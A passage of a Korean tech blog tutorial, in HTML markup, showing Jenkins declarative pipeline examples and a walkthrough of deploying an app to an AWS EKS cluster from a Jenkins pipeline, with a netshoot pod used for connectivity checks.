}&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-16 오전 12.01.30.png&quot; data-origin-width=&quot;1078&quot; data-origin-height=&quot;552&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kDVJp/btsGGmAbVzk/vNDrdGkvcKu50LqJ7fEaM1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kDVJp/btsGGmAbVzk/vNDrdGkvcKu50LqJ7fEaM1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kDVJp/btsGGmAbVzk/vNDrdGkvcKu50LqJ7fEaM1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkDVJp%2FbtsGGmAbVzk%2FvNDrdGkvcKu50LqJ7fEaM1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;561&quot; height=&quot;287&quot; data-filename=&quot;스크린샷 2024-04-16 오전 12.01.30.png&quot; data-origin-width=&quot;1078&quot; data-origin-height=&quot;552&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;수정 후 확인: 환경변수 사용, 문자열 보간 &amp;rarr; Console Output 확인&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1713193473377&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;pipeline {
    agent any
    environment { 
        STUDYNAME = 'AEWS'
    }
    stages {
        stage('연습') {
            environment { 
                mykey = 'abcd'
            }
            steps {
                echo &quot;${STUDYNAME}&quot;;
                sh 'echo ${mykey}'
            }
        }
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-16 오전 12.03.37.png&quot; data-origin-width=&quot;1790&quot; data-origin-height=&quot;1308&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/5Hh7i/btsGCcTPRHS/3B6ptPZG462C4geQZaqMAk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/5Hh7i/btsGCcTPRHS/3B6ptPZG462C4geQZaqMAk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/5Hh7i/btsGCcTPRHS/3B6ptPZG462C4geQZaqMAk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F5Hh7i%2FbtsGCcTPRHS%2F3B6ptPZG462C4geQZaqMAk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1790&quot; height=&quot;1308&quot; data-filename=&quot;스크린샷 2024-04-16 오전 12.03.37.png&quot; data-origin-width=&quot;1790&quot; data-origin-height=&quot;1308&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;수정 후 확인: Tools &amp;rarr; Console Output 확인
&lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Tools를 사용하기 위해서는 Jenkins 관리에서 사전에 정보를 등록해주어야 하며 해당 이름으로 파이프라인 작성이 가능합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1713193490162&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;pipeline {
    agent any
    tools {
        maven '3.9.6' 
    }
    stages {
        stage('Example') {
            steps {
                sh 'mvn --version'
            }
        }
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-16 오전 12.07.33.png&quot; data-origin-width=&quot;1698&quot; data-origin-height=&quot;1242&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cRq6hX/btsGCdZyX0R/o13CsFxnTKrwDzhLokJiIK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cRq6hX/btsGCdZyX0R/o13CsFxnTKrwDzhLokJiIK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cRq6hX/btsGCdZyX0R/o13CsFxnTKrwDzhLokJiIK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcRq6hX%2FbtsGCdZyX0R%2Fo13CsFxnTKrwDzhLokJiIK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1698&quot; height=&quot;1242&quot; data-filename=&quot;스크린샷 2024-04-16 오전 12.07.33.png&quot; data-origin-width=&quot;1698&quot; data-origin-height=&quot;1242&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-16 오전 12.08.37.png&quot; data-origin-width=&quot;2226&quot; data-origin-height=&quot;978&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/68cMj/btsGFg8mUZB/XUEWb0ia1JI6ykr9LEArNk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/68cMj/btsGFg8mUZB/XUEWb0ia1JI6ykr9LEArNk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/68cMj/btsGFg8mUZB/XUEWb0ia1JI6ykr9LEArNk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F68cMj%2FbtsGFg8mUZB%2FXUEWb0ia1JI6ykr9LEArNk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2226&quot; height=&quot;978&quot; data-filename=&quot;스크린샷 2024-04-16 오전 12.08.37.png&quot; data-origin-width=&quot;2226&quot; data-origin-height=&quot;978&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-16 오전 12.09.56.png&quot; data-origin-width=&quot;2402&quot; data-origin-height=&quot;1322&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bdVseT/btsGE41kRXF/kHzkvg8lQlrx5Zg2NMe740/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bdVseT/btsGE41kRXF/kHzkvg8lQlrx5Zg2NMe740/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bdVseT/btsGE41kRXF/kHzkvg8lQlrx5Zg2NMe740/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbdVseT%2FbtsGE41kRXF%2FkHzkvg8lQlrx5Zg2NMe740%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2402&quot; height=&quot;1322&quot; data-filename=&quot;스크린샷 2024-04-16 오전 12.09.56.png&quot; data-origin-width=&quot;2402&quot; data-origin-height=&quot;1322&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;수정 후 확인: 파이프라인 빌드 시작(&lt;span data-token-index=&quot;1&quot;&gt;Triggers&lt;/span&gt;) &amp;rarr; Console Output 확인&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1713193459964&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;pipeline {
    agent any
    triggers {
        cron('* * * * *')
    }
    stages {
        stage('주기 반복') {
            steps {
                echo 'Hello World'
            }
        }
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-16 오전 12.14.35.png&quot; data-origin-width=&quot;1798&quot; data-origin-height=&quot;1000&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bYqFnT/btsGCVYpeZ3/YE6OcvbO30Tih0xx4rkCa1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bYqFnT/btsGCVYpeZ3/YE6OcvbO30Tih0xx4rkCa1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bYqFnT/btsGCVYpeZ3/YE6OcvbO30Tih0xx4rkCa1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbYqFnT%2FbtsGCVYpeZ3%2FYE6OcvbO30Tih0xx4rkCa1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1798&quot; height=&quot;1000&quot; data-filename=&quot;스크린샷 2024-04-16 오전 12.14.35.png&quot; data-origin-width=&quot;1798&quot; data-origin-height=&quot;1000&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;수정 후 확인: 파라미터와 함께 빌드 &amp;rarr; Console Output 확인&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1713194129366&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;pipeline {
    agent any
    parameters {
        string(name: 'PERSON', defaultValue: 'gasida', description: 'Who are you?')
        choice(name: 'CHOICE', choices: ['One', 'Two', 'Three'], description: 'Pick something')
    }
    stages {
        stage('파라미터 사용') {
            steps {
                echo &quot;Hello ${params.PERSON}&quot;
                echo &quot;Choice: ${params.CHOICE}&quot;
            }
        }
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-16 오전 12.16.19.png&quot; data-origin-width=&quot;1488&quot; data-origin-height=&quot;966&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cjzvEM/btsGDIdn3KG/rRYtHZXHgyRDd7cp6ZcrPK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cjzvEM/btsGDIdn3KG/rRYtHZXHgyRDd7cp6ZcrPK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cjzvEM/btsGDIdn3KG/rRYtHZXHgyRDd7cp6ZcrPK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcjzvEM%2FbtsGDIdn3KG%2FrRYtHZXHgyRDd7cp6ZcrPK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1488&quot; height=&quot;966&quot; data-filename=&quot;스크린샷 2024-04-16 오전 12.16.19.png&quot; data-origin-width=&quot;1488&quot; data-origin-height=&quot;966&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-16 오전 12.17.01.png&quot; data-origin-width=&quot;1830&quot; data-origin-height=&quot;1060&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/FGQpy/btsGCrJXjQa/90k3xu5xcysZWzGez2qMS0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/FGQpy/btsGCrJXjQa/90k3xu5xcysZWzGez2qMS0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/FGQpy/btsGCrJXjQa/90k3xu5xcysZWzGez2qMS0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FFGQpy%2FbtsGCrJXjQa%2F90k3xu5xcysZWzGez2qMS0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1830&quot; height=&quot;1060&quot; data-filename=&quot;스크린샷 2024-04-16 오전 12.17.01.png&quot; data-origin-width=&quot;1830&quot; data-origin-height=&quot;1060&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;수정 후 확인: &lt;b&gt;post&lt;/b&gt; (빌드 후 조치) &amp;rarr; Console Output 확인
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;always: 항상 실행&lt;/li&gt;
&lt;li&gt;changed: 현재 빌드의 상태가 이번 빌드의 상태와 달라졌다면 실행&lt;/li&gt;
&lt;li&gt;success: 현재 빌드가 성공했다면 실행&lt;/li&gt;
&lt;li&gt;failure: 현재 빌드가 실패했다면 실행&lt;/li&gt;
&lt;li&gt;unstable: 현재 빌드의 상태가 불안하다면 실행&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1713194266729&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;pipeline {
    agent any
    stages {
        stage('Compile') {
            steps {
                echo &quot;Compiled successfully!&quot;;
            }
        }

        stage('JUnit') {
            steps {
                echo &quot;JUnit passed successfully!&quot;;
            }
        }

        stage('Code Analysis') {
            steps {
                echo &quot;Code Analysis completed successfully!&quot;;
            }
        }

        stage('Deploy') {
            steps {
                echo &quot;Deployed successfully!&quot;;
            }
        }
    }

    post {
      always {
        echo &quot;This will always run&quot;
      }
      success {
        echo &quot;This will run when the run finished successfully&quot;
      }
      failure {
        echo &quot;This will run if failed&quot;
      }
      unstable {
        echo &quot;This will run when the run was marked as unstable&quot;
      }
      changed {
        echo &quot;This will run when the state of the pipeline has changed&quot;
      }
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-16 오전 12.19.32.png&quot; data-origin-width=&quot;1500&quot; data-origin-height=&quot;1404&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/7ldzW/btsGFBYGcA4/8hZl0T0zA9dim2L5JvPa4k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/7ldzW/btsGFBYGcA4/8hZl0T0zA9dim2L5JvPa4k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/7ldzW/btsGFBYGcA4/8hZl0T0zA9dim2L5JvPa4k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F7ldzW%2FbtsGFBYGcA4%2F8hZl0T0zA9dim2L5JvPa4k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1500&quot; height=&quot;1404&quot; data-filename=&quot;스크린샷 2024-04-16 오전 12.19.32.png&quot; data-origin-width=&quot;1500&quot; data-origin-height=&quot;1404&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Jenkins with Kubernetes&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Jenkins 에서 k8s 사용을 위한 사전 준비&lt;/h3&gt;
&lt;pre id=&quot;code_1713194595214&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# jenkins 사용자에서 아래 작업 진행
whoami
mkdir ~/.kube

# root 계정에서 아래 복사 실행
cp ~/.kube/config /var/lib/jenkins/.kube/config
chown jenkins:jenkins /var/lib/jenkins/.kube/config

# jenkins 사용자에서 aws eks 사용(sts 호출 등)을 위한 자격증명 설정
aws configure
AWS Access Key ID [None]: AKIA5ILF2###
AWS Secret Access Key [None]: ###
Default region name [None]: ap-northeast-2

# jenkins 사용자에서 kubectl 명령어 사용 확인
kubectl get pods -A&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;파이프라인으로 &lt;span data-token-index=&quot;1&quot;&gt;디플로이먼트/서비스&lt;/span&gt; 배포&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;Github Repo 3/deploy/deployment-svc.yaml 파일에 image 부분 자신의 도커 허브 이미지로 수정&lt;/h4&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-16 오전 12.27.16.png&quot; data-origin-width=&quot;1416&quot; data-origin-height=&quot;1184&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bpn7iO/btsGEXuo0S8/GbrgGs3gBAMKTBee4SxZo0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bpn7iO/btsGEXuo0S8/GbrgGs3gBAMKTBee4SxZo0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bpn7iO/btsGEXuo0S8/GbrgGs3gBAMKTBee4SxZo0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbpn7iO%2FbtsGEXuo0S8%2FGbrgGs3gBAMKTBee4SxZo0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1416&quot; height=&quot;1184&quot; data-filename=&quot;스크린샷 2024-04-16 오전 12.27.16.png&quot; data-origin-width=&quot;1416&quot; data-origin-height=&quot;1184&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;New Item 생성 : k8s-1 , Pipeline&lt;/h4&gt;
&lt;pre id=&quot;code_1713195142984&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;pipeline {
    agent any

    tools {
        jdk 'jdk-17'
    }

    environment {
        DOCKERHUB_USERNAME = 'imxsuu'
        GITHUB_URL = 'https://github.com/imxsuu/aews-cicd.git'
        // deployment-svc.yaml -&amp;gt; image: imxsuu/myweb:v1.0.0        
        DIR_NUM = '3'
    }

    stages {
        stage('Container Build') {
            steps {	
                // 릴리즈파일 체크아웃
                checkout scmGit(branches: [[name: '*/main']], 
                    extensions: [[$class: 'SparseCheckoutPaths', 
                    sparseCheckoutPaths: [[path: &quot;/${DIR_NUM}&quot;]]]], 
                    userRemoteConfigs: [[url: &quot;${GITHUB_URL}&quot;]])

                // 컨테이너 빌드 및 업로드
                sh &quot;docker build -t ${DOCKERHUB_USERNAME}/myweb:v1.0.0 ./${DIR_NUM}&quot;
                sh &quot;docker push ${DOCKERHUB_USERNAME}/myweb:v1.0.0&quot;
            }
        }

        stage('K8S Deploy') {
            steps {
                sh &quot;kubectl apply -f ./${DIR_NUM}/deploy/deployment-svc.yaml&quot;
            }
        }
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;모니터링&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1713195173062&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;watch -d kubectl get pod,svc,ep&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-16 오전 12.31.46.png&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;490&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ABtX0/btsGB3JAxpj/kAKvznk3WvCfOjJDabOApK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ABtX0/btsGB3JAxpj/kAKvznk3WvCfOjJDabOApK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ABtX0/btsGB3JAxpj/kAKvznk3WvCfOjJDabOApK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FABtX0%2FbtsGB3JAxpj%2FkAKvznk3WvCfOjJDabOApK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1280&quot; height=&quot;490&quot; data-filename=&quot;스크린샷 2024-04-16 오전 12.31.46.png&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;490&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;접속 테스트용 파드 배포&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1713195203927&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 배포
cat &amp;lt;&amp;lt;EOF | kubectl create -f -
apiVersion: v1
kind: Pod
metadata:
  name: netpod
  labels:
    app: pod
spec:
  containers:
  - name: netshoot-pod
    image: nicolaka/netshoot
    command: [&quot;tail&quot;]
    args: [&quot;-f&quot;, &quot;/dev/null&quot;]
  terminationGracePeriodSeconds: 0
EOF&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;확인&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1713195239630&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;kubectl exec -it netpod -- curl myweb:8080
kubectl exec -it netpod -- curl myweb:8080 | grep Web
while true; do kubectl exec -it netpod -- curl myweb:8080 | grep Web; echo; done

# 작업공간 확인
tree /var/lib/jenkins/workspace/k8s-1
cat /var/lib/jenkins/workspace/k8s-1/3/Dockerfile&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-16 오전 12.36.15.png&quot; data-origin-width=&quot;1350&quot; data-origin-height=&quot;444&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kDmph/btsGCqkdDYn/scu5zrFCgrNIdDoSGMNeL1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kDmph/btsGCqkdDYn/scu5zrFCgrNIdDoSGMNeL1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kDmph/btsGCqkdDYn/scu5zrFCgrNIdDoSGMNeL1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkDmph%2FbtsGCqkdDYn%2Fscu5zrFCgrNIdDoSGMNeL1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1350&quot; height=&quot;444&quot; data-filename=&quot;스크린샷 2024-04-16 오전 12.36.15.png&quot; data-origin-width=&quot;1350&quot; data-origin-height=&quot;444&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Repo에서 replicas 개수 7로 변경 후 Commit &amp;rarr; 젠킨스에서 &lt;b&gt;지금 빌드&lt;/b&gt; 후 확인&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-04-16 오전 12.37.37.png&quot; data-origin-width=&quot;1330&quot; data-origin-height=&quot;598&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/caI9Hh/btsGFm1LDS9/2EdDlkQckWvWgOkP5FKAE1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/caI9Hh/btsGFm1LDS9/2EdDlkQckWvWgOkP5FKAE1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/caI9Hh/btsGFm1LDS9/2EdDlkQckWvWgOkP5FKAE1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcaI9Hh%2FbtsGFm1LDS9%2F2EdDlkQckWvWgOkP5FKAE1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1330&quot; height=&quot;598&quot; data-filename=&quot;스크린샷 2024-04-16 오전 12.37.37.png&quot; data-origin-width=&quot;1330&quot; data-origin-height=&quot;598&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
